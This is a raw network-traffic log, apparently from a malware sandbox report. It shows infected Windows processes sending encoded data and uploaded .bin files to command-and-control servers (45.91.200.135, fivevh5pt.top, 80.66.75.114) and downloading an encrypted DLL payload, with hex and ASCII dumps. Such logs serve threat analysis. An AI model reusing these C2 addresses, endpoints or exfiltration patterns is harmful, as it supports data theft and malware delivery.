7	192.168.2.9	49717	45.91.200.135	80	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:30.389458895 CEST	275	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 453 Host: 45.91.200.135
Sep 29, 2024 00:53:30.389533043 CEST	453	OUT	Data Raw: 64 61 74 61 3d 2d 47 7a 4c 74 45 41 53 5f 67 41 57 6f 52 67 71 6b 77 49 71 34 6c 58 4a 53 43 77 70 6a 6b 37 4e 5f 32 6e 50 4a 39 33 6e 37 38 47 75 6a 49 6c 4b 49 2d 34 6b 4f 76 72 61 53 7a 33 4e 2d 55 37 43 43 39 47 65 7a 75 50 6b 34 4f 36 68 6f Data Ascii: data=-GzLtEAS_gAWoRgqkwIq4lXJSCwpjk7N_2nPJ93n78GujIlKI-4kOvraSz3N-U7CC9GezuPk4O6hohPVyYLJZDHl85e6odaVUO_tesiqA5bnhShoKkIhflZXpzwh1VDMMwAkKuSb2y6z1Sw14CF5UoMdlj0zhM-2QP87DlD5sacbxO0nQadYBaS6Jn1-BXWbM4qdxh5ejLRFdPSDJwGlQl4qQ2Xa8TC78iPFt_OppTL7AG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49720	84.38.182.221	80	7876	C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:39.063802958 CEST	332	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary79420754 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 412 Host: fivevh5pt.top
Sep 29, 2024 00:53:39.063885927 CEST	412	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 37 39 34 32 30 37 35 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 65 66 Data Ascii: ------Boundary79420754Content-Disposition: form-data; name="file"; filename="Refujowi.bin"Content-Type: application/octet-stream 08H:+sdDk=b)m#(0zIwXe9fP@rx.1,;<uM,(Yt*%;^@
Sep 29, 2024 00:53:39.760776043 CEST	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sat, 28 Sep 2024 22:53:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49721	45.91.200.135	80	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:39.068181038 CEST	275	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 453 Host: 45.91.200.135
Sep 29, 2024 00:53:39.068269968 CEST	453	OUT	Data Raw: 64 61 74 61 3d 51 49 4b 56 79 49 61 71 61 4a 6b 64 79 4d 5a 37 73 65 66 54 38 4f 4a 43 74 52 35 48 2d 72 52 4c 61 55 69 75 71 68 35 36 54 47 7a 66 77 32 79 59 62 63 43 78 58 70 6b 6d 76 32 6f 4f 67 53 42 36 73 6f 45 4e 37 4d 54 64 56 57 63 41 79 Data Ascii: data=QIKVyIaqaJkdyMZ7sefT8OJCtR5H-rRLaUiuqh56TGzfw2yYbcCxXpkmv2oOgSB6soEN7MTdVWcAy6teU8ahfSa1h6suWjVE57mRbTlYXKpC4PGKGUlKWJgp_WyeAPQCRAoPzWzB2myXz-vam2oba7tep4NgmO95JOOYLQWfDQsBE3Ud25j5FXmnRq1LzaymdYLbZKk8Oi5N7StS8fnZqRyQb5BIoFn831s-082XaMrBcw
Sep 29, 2024 00:53:40.789546967 CEST	363	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:39 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6d 36 47 45 6e 51 55 47 41 5a 45 72 65 51 38 71 5a 38 67 31 77 30 37 36 4e 72 34 59 67 37 4b 6c 39 66 33 69 65 37 45 64 6d 74 71 4e 4c 7a 4e 64 63 54 32 6e 52 6f 4a 50 38 61 7a 75 43 51 79 64 79 6c 69 73 46 38 6a 34 31 54 54 2f 54 56 36 4c 63 59 66 78 6e 5a 4a 58 39 48 61 56 6b 35 36 35 2b 4c 5a 34 34 4d 33 74 51 3d Data Ascii: bhm6GEnQUGAZEreQ8qZ8g1w076Nr4Yg7Kl9f3ie7EdmtqNLzNdcT2nRoJP8azuCQydylisF8j41TT/TV6LcYfxnZJX9HaVk565+LZ44M3tQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49723	80.66.75.114	80	7916	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:45.874161005 CEST	384	OUT	GET /name HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:53:46.554572105 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 7 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 6d 69 78 6e 69 6e 65 Data Ascii: mixnine
Sep 29, 2024 00:53:46.566860914 CEST	416	OUT	GET /add?substr=mixnine&s=three&sub=NOSUB HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:53:46.832173109 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:53:46.840992928 CEST	387	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:53:47.060324907 CEST	224	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Sep 29, 2024 00:53:47.066580057 CEST	392	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:53:47.291609049 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:47 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Sep 29, 2024 00:53:47.291629076 CEST	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Sep 29, 2024 00:53:47.291649103 CEST	448	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Sep 29, 2024 00:53:47.291661024 CEST	1236	IN	Data Raw: 94 56 6f 92 44 df 99 d0 e2 07 87 22 38 2a d1 8d 6b 3b c8 f7 e1 b5 00 e9 38 74 ca 24 b7 c2 3f 88 77 ac 79 7e 4b f0 5e 79 57 bd f5 65 c6 f8 b8 fd c0 5d 9c 70 37 a5 45 ab 76 ba a0 33 8b ee 99 a3 da 61 9a 35 1f f1 31 09 03 71 96 d5 28 76 57 11 9e 5e Data Ascii: VoD"8k;8t$?wy~K^yWe]p7Ev3a51q(vW^RK@$V+4trcwMMZoj^}xmgu0f'US]04<cMk2cD$g\|5r_gqKgLoZ
Sep 29, 2024 00:53:47.291672945 CEST	1236	IN	Data Raw: 58 c0 cb 65 40 62 96 d2 c0 5a b0 40 d6 25 d6 ca ea 81 87 4f 4f 97 dc 41 ef 2a 66 64 06 53 6d 2a 3f d8 44 59 af 7a 70 c9 ee 8f c8 c1 db 27 48 69 d8 e7 8e c2 56 b7 01 bc 0b 63 45 c8 b6 b5 e2 1a ee a7 1a fe a7 05 65 86 dc c4 60 f9 00 38 79 10 46 0b Data Ascii: Xe@bZ@%OOAfdSm?DYzp'HiVcEe`8yF\|G(^80y-`p+x@Q.QjK=s3GVBfP:}^-RuJhJHz#<6S}Cc*>:cNZNG1M4
Sep 29, 2024 00:53:47.291683912 CEST	1236	IN	Data Raw: 97 c8 49 60 d1 46 16 fc 9d 61 11 37 f4 93 5e ed 32 7a c7 3b 41 14 16 b7 4f 84 8d 39 ca 79 46 fc 2f a4 a6 82 f3 b6 68 61 61 41 32 66 02 00 57 51 d9 b9 0a 9a 35 e2 01 f6 64 48 f1 ee 15 5c 2f c3 ce e2 74 99 ad e8 49 c0 49 83 58 d9 d9 5f 15 11 8a 28 Data Ascii: I`Fa7^2z;AO9yF/haaA2fWQ5dH\/tIIX_( N%"PPLT(yFqG=)hZX.`2RsbifK!97e9f\|uUsetj9L~DY)5:w<}gBO$5)iI
Sep 29, 2024 00:53:47.291697979 CEST	1236	IN	Data Raw: bd fe 32 26 39 43 46 ac 46 98 3a a9 90 2f db c5 e7 08 95 6c c4 71 43 67 26 21 a1 8e e2 57 01 bf 17 eb ec 95 38 79 19 72 66 f5 b3 f7 1b 75 10 9d 34 6d e2 d0 9a 09 6a 6b 6e fb a0 1b a0 0c 89 8d 39 0d 7b 82 10 1c fb a1 a0 b6 fb 0b bd 91 68 87 0f bc Data Ascii: 2&9CFF:/lqCg&!W8yrfu4mjkn9{h`e\lrp<wW+:s_m]sad8t43g\]Dh-@H<\|jSWU@E/]-L[uNIhq8~'??y9<N5)g.AK2T
Sep 29, 2024 00:53:47.291711092 CEST	1236	IN	Data Raw: 9c 93 85 55 4b b0 90 0f 56 82 0c 86 f6 cc 27 8b b1 b8 1f 77 0d b6 88 24 2a 38 27 bc 8c 03 45 5b 5b 2b 90 a7 9b 51 a3 04 60 88 c5 2c 4a 7a 88 0a 01 7d 0c 2e 87 47 cf 80 8f 5e 70 62 4c d5 ad ce bf 64 f2 8f 59 f3 8f 0c c9 92 4f 19 2f 5b b6 f8 01 87 Data Ascii: UKV'w$8'E[[+Q`,Jz}.G^pbLdYO/[)o319Xz&k(pB~IjB1aNG^L/QAD!B5F$%RkQzo):z4fJnpb7[w\n@hm,tsY!FZb[.LJT/
Sep 29, 2024 00:53:47.291724920 CEST	1236	IN	Data Raw: 92 77 46 c5 a7 fd 0a 9c 05 19 d8 07 e6 4e b6 52 f6 4f b7 e8 ab ac 30 f3 96 21 2d c8 20 bf 88 b6 9e a4 76 30 56 bc a4 59 bd ec 71 d2 3d ed d8 5f 82 8c b2 16 8f 65 8e 70 b5 77 5e 52 a6 89 7a 08 f3 c9 84 ea 32 44 a6 8a 12 81 c2 79 91 50 d2 42 01 86 Data Ascii: wFNRO0!- v0VYq=_epw^Rz2DyPBh0;ZP!WD.&\"'A2tCarnt9zq]&gmk0~q\mk0G@D)ewX5'%?/-Rcsi?G(F;7@J2v_9`P,uA
Sep 29, 2024 00:53:47.292418003 CEST	1236	IN	Data Raw: 63 70 2d 5e 06 f9 a0 88 b2 fe 94 69 78 3a 4d 9f ad 12 4c f0 0a b3 a2 cb 51 00 a5 7b 91 82 2b bb fa aa 10 54 85 b0 7c f4 3c 4b 81 dd ca da d8 19 bf dc 6e eb 76 44 8c 05 1f 15 0d a7 42 02 a3 d9 fa bd 7f 9d a5 c8 1a 0f a8 ed c9 af 96 dc b8 58 66 95 Data Ascii: cp-^ix:MLQ{+T\|<KnvDBXfbyQ#^XJx^0V\|eQSSO^_]/qA]E<P/(#o(MDvo.QcR*S8k][[{:?uH+go6S%m:
Sep 29, 2024 00:53:47.292431116 CEST	1236	IN	Data Raw: d4 4c f7 39 c8 e2 8c 1a 47 22 ce 38 a8 0f 36 ba 34 d8 29 d1 07 03 f8 62 9b f4 dc 09 93 7c a9 be 5b 41 f1 b1 38 bc e4 80 f5 2a 12 1e 39 e6 d0 ae 98 c1 0b 4b e0 90 07 04 7c d4 0b 2b 53 92 54 65 fd f5 63 a1 24 fa 52 82 fe 3a 65 6f b5 81 39 e1 46 11 Data Ascii: L9G"864)b\|[A8*9K\|+STec$R:eo9FloSxG~rMH'+},C{k)n8l5/wd<JjxYil$X#9}LcWFmf\4{iEd"Fl@=l5scroIjy
Sep 29, 2024 00:53:47.641495943 CEST	394	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:53:47.872915030 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:47 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:53:49.903393030 CEST	394	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:53:50.132807016 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:50 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:53:52.154242992 CEST	394	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:53:52.382054090 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:53:54.405495882 CEST	394	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:53:54.630800009 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:54 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:53:56.684602022 CEST	394	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:53:56.917248011 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:53:58.966212034 CEST	394	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:53:59.191312075 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:54:01.352817059 CEST	394	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:54:01.580620050 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:54:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:54:03.606966019 CEST	394	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:54:03.833586931 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:54:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:54:06.144718885 CEST	394	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:54:06.518938065 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:54:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:54:09.060667038 CEST	394	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:54:09.285861969 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:54:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:54:11.436943054 CEST	394	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:54:11.665270090 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:54:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Sep 29, 2024 00:54:16.528862000 CEST	393	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49724	84.38.182.221	80	7876	C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:46.186388016 CEST	334	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary76379554 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 57477 Host: fivevh5pt.top
Sep 29, 2024 00:53:46.186477900 CEST	11124	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 37 36 33 37 39 35 35 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 6f 72 Data Ascii: ------Boundary76379554Content-Disposition: form-data; name="file"; filename="Poruriluq.bin"Content-Type: application/octet-stream\|Y,H;!o04[[ l,ul\#h$@~u'Ae/I L'j6B p7W
